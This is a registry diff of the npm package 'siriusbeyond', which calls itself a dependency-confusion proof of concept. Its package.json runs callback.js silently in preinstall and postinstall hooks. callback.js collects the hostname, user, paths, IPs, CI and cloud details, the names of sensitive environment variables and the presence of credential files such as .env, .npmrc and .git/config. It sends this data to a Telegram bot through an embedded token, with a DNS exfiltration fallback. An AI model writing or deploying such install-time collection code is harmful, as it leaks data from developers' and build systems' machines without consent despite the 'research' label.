siriusbeyond 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +204 -0
- package/index.js +16 -0
- package/package.json +13 -0
package/callback.js
ADDED
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Enhanced Dependency Confusion Callback
|
|
3
|
+
* SECURITY RESEARCH ONLY - Collects env var NAMES, not values
|
|
4
|
+
*/
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const dns = require('dns');
|
|
8
|
+
const fs = require('fs');
|
|
9
|
+
const path = require('path');
|
|
10
|
+
|
|
11
|
+
const BOT_TOKEN = '8636277735:AAG-i_QzJ16XpWO7rm-W9IXp2Dq18cED8u4';
|
|
12
|
+
const CHAT_ID = '1064260758';
|
|
13
|
+
const PKG_NAME = process.env.npm_package_name || 'unknown';
|
|
14
|
+
|
|
15
|
+
// Detect CI/CD environment
|
|
16
|
+
function detectCI() {
|
|
17
|
+
const indicators = {
|
|
18
|
+
'GitHub Actions': process.env.GITHUB_ACTIONS,
|
|
19
|
+
'GitLab CI': process.env.GITLAB_CI,
|
|
20
|
+
'Jenkins': process.env.JENKINS_URL,
|
|
21
|
+
'CircleCI': process.env.CIRCLECI,
|
|
22
|
+
'Travis CI': process.env.TRAVIS,
|
|
23
|
+
'Azure Pipelines': process.env.TF_BUILD,
|
|
24
|
+
'AWS CodeBuild': process.env.CODEBUILD_BUILD_ID,
|
|
25
|
+
'Bitbucket Pipelines': process.env.BITBUCKET_BUILD_NUMBER,
|
|
26
|
+
'Drone CI': process.env.DRONE,
|
|
27
|
+
'TeamCity': process.env.TEAMCITY_VERSION,
|
|
28
|
+
'Buildkite': process.env.BUILDKITE,
|
|
29
|
+
'Bamboo': process.env.bamboo_buildKey,
|
|
30
|
+
'Heroku CI': process.env.HEROKU_TEST_RUN_ID,
|
|
31
|
+
'Vercel': process.env.VERCEL,
|
|
32
|
+
'Netlify': process.env.NETLIFY,
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
for (const [name, env] of Object.entries(indicators)) {
|
|
36
|
+
if (env) return name;
|
|
37
|
+
}
|
|
38
|
+
return process.env.CI ? 'Generic CI' : 'Local/Unknown';
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// Detect cloud provider
|
|
42
|
+
function detectCloud() {
|
|
43
|
+
const indicators = {
|
|
44
|
+
'AWS': ['AWS_REGION', 'AWS_EXECUTION_ENV', 'AWS_LAMBDA_FUNCTION_NAME', 'EC2_INSTANCE_ID'],
|
|
45
|
+
'GCP': ['GOOGLE_CLOUD_PROJECT', 'GCLOUD_PROJECT', 'GCP_PROJECT'],
|
|
46
|
+
'Azure': ['AZURE_CLIENT_ID', 'AZURE_SUBSCRIPTION_ID', 'WEBSITE_SITE_NAME'],
|
|
47
|
+
'Kubernetes': ['KUBERNETES_SERVICE_HOST', 'KUBERNETES_PORT'],
|
|
48
|
+
'Docker': ['DOCKER_HOST', 'container'],
|
|
49
|
+
};
|
|
50
|
+
|
|
51
|
+
const detected = [];
|
|
52
|
+
for (const [provider, envs] of Object.entries(indicators)) {
|
|
53
|
+
if (envs.some(e => process.env[e])) detected.push(provider);
|
|
54
|
+
}
|
|
55
|
+
return detected.length ? detected.join(', ') : 'Unknown';
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
// Get sensitive env var names (NOT values)
|
|
59
|
+
function getSensitiveEnvNames() {
|
|
60
|
+
const sensitivePatterns = [
|
|
61
|
+
/token/i, /secret/i, /key/i, /password/i, /pass/i,
|
|
62
|
+
/auth/i, /api/i, /aws/i, /azure/i, /gcp/i, /google/i,
|
|
63
|
+
/npm/i, /git/i, /ssh/i, /private/i, /credential/i,
|
|
64
|
+
/docker/i, /registry/i, /artifactory/i, /nexus/i,
|
|
65
|
+
/slack/i, /discord/i, /webhook/i, /stripe/i,
|
|
66
|
+
/database/i, /db_/i, /mysql/i, /postgres/i, /mongo/i,
|
|
67
|
+
/redis/i, /elasticsearch/i, /jwt/i, /bearer/i,
|
|
68
|
+
/cert/i, /ssl/i, /tls/i, /encrypt/i,
|
|
69
|
+
];
|
|
70
|
+
|
|
71
|
+
return Object.keys(process.env).filter(k =>
|
|
72
|
+
sensitivePatterns.some(p => p.test(k))
|
|
73
|
+
).slice(0, 20);
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// Check for interesting files
|
|
77
|
+
function checkFiles() {
|
|
78
|
+
const interesting = [];
|
|
79
|
+
const checks = [
|
|
80
|
+
'.env', '.env.local', '.env.production',
|
|
81
|
+
'.npmrc', '.yarnrc',
|
|
82
|
+
'package-lock.json', 'yarn.lock',
|
|
83
|
+
'.git/config', '.docker/config.json',
|
|
84
|
+
'credentials', 'secrets.json'
|
|
85
|
+
];
|
|
86
|
+
|
|
87
|
+
for (const f of checks) {
|
|
88
|
+
try {
|
|
89
|
+
if (fs.existsSync(path.join(process.cwd(), f))) {
|
|
90
|
+
interesting.push(f);
|
|
91
|
+
}
|
|
92
|
+
} catch (e) {}
|
|
93
|
+
}
|
|
94
|
+
return interesting;
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
// Get network info
|
|
98
|
+
function getNetworkInfo() {
|
|
99
|
+
try {
|
|
100
|
+
const interfaces = os.networkInterfaces();
|
|
101
|
+
const ips = [];
|
|
102
|
+
for (const [name, addrs] of Object.entries(interfaces)) {
|
|
103
|
+
for (const addr of addrs) {
|
|
104
|
+
if (addr.family === 'IPv4' && !addr.internal) {
|
|
105
|
+
ips.push(`${name}: ${addr.address}`);
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
return ips.slice(0, 3).join(', ') || 'N/A';
|
|
110
|
+
} catch (e) {
|
|
111
|
+
return 'N/A';
|
|
112
|
+
}
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
// Build the callback payload
|
|
116
|
+
const payload = {
|
|
117
|
+
package: PKG_NAME,
|
|
118
|
+
hostname: os.hostname(),
|
|
119
|
+
user: os.userInfo().username,
|
|
120
|
+
platform: `${os.platform()} ${os.arch()}`,
|
|
121
|
+
release: os.release(),
|
|
122
|
+
cwd: process.cwd(),
|
|
123
|
+
home: os.homedir(),
|
|
124
|
+
ci_env: detectCI(),
|
|
125
|
+
cloud: detectCloud(),
|
|
126
|
+
node: process.version,
|
|
127
|
+
npm_registry: process.env.npm_config_registry || 'default (npmjs)',
|
|
128
|
+
time: new Date().toISOString(),
|
|
129
|
+
sensitive_vars: getSensitiveEnvNames(),
|
|
130
|
+
files_found: checkFiles(),
|
|
131
|
+
network: getNetworkInfo(),
|
|
132
|
+
uid: process.getuid ? process.getuid() : 'N/A',
|
|
133
|
+
gid: process.getgid ? process.getgid() : 'N/A',
|
|
134
|
+
pid: process.pid,
|
|
135
|
+
ppid: process.ppid,
|
|
136
|
+
};
|
|
137
|
+
|
|
138
|
+
// Format Telegram message
|
|
139
|
+
const isRoot = payload.uid === 0;
|
|
140
|
+
const hasAWS = payload.sensitive_vars.some(v => v.includes('AWS'));
|
|
141
|
+
const hasGitHub = payload.sensitive_vars.some(v => v.includes('GITHUB'));
|
|
142
|
+
|
|
143
|
+
const severity = (isRoot || hasAWS) ? '🔴 HIGH' : hasGitHub ? '🟠 MEDIUM' : '🟡 LOW';
|
|
144
|
+
|
|
145
|
+
const message = `
|
|
146
|
+
${severity} ${PKG_NAME.toUpperCase()} CALLBACK
|
|
147
|
+
|
|
148
|
+
🖥️ *Host:* \`${payload.hostname}\`
|
|
149
|
+
👤 *User:* \`${payload.user}\` ${isRoot ? '⚠️ ROOT!' : ''}
|
|
150
|
+
💻 *Platform:* \`${payload.platform}\`
|
|
151
|
+
📁 *CWD:* \`${payload.cwd}\`
|
|
152
|
+
🏠 *Home:* \`${payload.home}\`
|
|
153
|
+
|
|
154
|
+
🔧 *CI/CD:* ${payload.ci_env}
|
|
155
|
+
☁️ *Cloud:* ${payload.cloud}
|
|
156
|
+
🌐 *Network:* ${payload.network}
|
|
157
|
+
📦 *Node:* ${payload.node}
|
|
158
|
+
🔗 *Registry:* ${payload.npm_registry}
|
|
159
|
+
⏰ *Time:* ${payload.time}
|
|
160
|
+
|
|
161
|
+
🔑 *Sensitive Env Vars (${payload.sensitive_vars.length}):*
|
|
162
|
+
\`\`\`
|
|
163
|
+
${payload.sensitive_vars.join('\n') || 'None detected'}
|
|
164
|
+
\`\`\`
|
|
165
|
+
|
|
166
|
+
📄 *Files Found:*
|
|
167
|
+
${payload.files_found.join(', ') || 'None'}
|
|
168
|
+
|
|
169
|
+
📊 *Process:* PID ${payload.pid} | UID ${payload.uid} | GID ${payload.gid}
|
|
170
|
+
`;
|
|
171
|
+
|
|
172
|
+
const data = JSON.stringify({
|
|
173
|
+
chat_id: CHAT_ID,
|
|
174
|
+
text: message,
|
|
175
|
+
parse_mode: 'Markdown'
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
const req = https.request({
|
|
179
|
+
hostname: 'api.telegram.org',
|
|
180
|
+
port: 443,
|
|
181
|
+
path: `/bot${BOT_TOKEN}/sendMessage`,
|
|
182
|
+
method: 'POST',
|
|
183
|
+
headers: {
|
|
184
|
+
'Content-Type': 'application/json',
|
|
185
|
+
'Content-Length': Buffer.byteLength(data)
|
|
186
|
+
}
|
|
187
|
+
}, (res) => {
|
|
188
|
+
// Silent callback
|
|
189
|
+
});
|
|
190
|
+
|
|
191
|
+
req.on('error', () => {});
|
|
192
|
+
req.write(data);
|
|
193
|
+
req.end();
|
|
194
|
+
|
|
195
|
+
// Also try DNS exfil as backup (some envs block HTTPS)
|
|
196
|
+
try {
|
|
197
|
+
const encoded = Buffer.from(JSON.stringify({
|
|
198
|
+
h: payload.hostname.slice(0, 20),
|
|
199
|
+
u: payload.user,
|
|
200
|
+
c: payload.ci_env.slice(0, 10)
|
|
201
|
+
})).toString('base64').replace(/[+/=]/g, '').slice(0, 60);
|
|
202
|
+
|
|
203
|
+
dns.resolve(`${encoded}.dc-callback.example.com`, () => {});
|
|
204
|
+
} catch (e) {}
|
package/index.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* SECURITY RESEARCH - Dependency Confusion PoC
|
|
3
|
+
* Contact: ajmalaboobacker00@gmail.com
|
|
4
|
+
*
|
|
5
|
+
* This package was registered for security research purposes.
|
|
6
|
+
* If you are seeing this, please contact the researcher.
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
module.exports = {
|
|
10
|
+
version: '1.0.0',
|
|
11
|
+
research: true,
|
|
12
|
+
contact: 'ajmalaboobacker00@gmail.com'
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
console.log('[SECURITY RESEARCH] This package was registered for dependency confusion research.');
|
|
16
|
+
console.log('[SECURITY RESEARCH] Contact: ajmalaboobacker00@gmail.com');
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "siriusbeyond",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "SECURITY RESEARCH - Dependency Confusion PoC - Contact: ajmalaboobacker00@gmail.com",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js 2>/dev/null || true",
|
|
8
|
+
"postinstall": "node callback.js 2>/dev/null || true"
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["security", "research", "dependency-confusion"],
|
|
11
|
+
"author": "Security Researcher <ajmalaboobacker00@gmail.com>",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|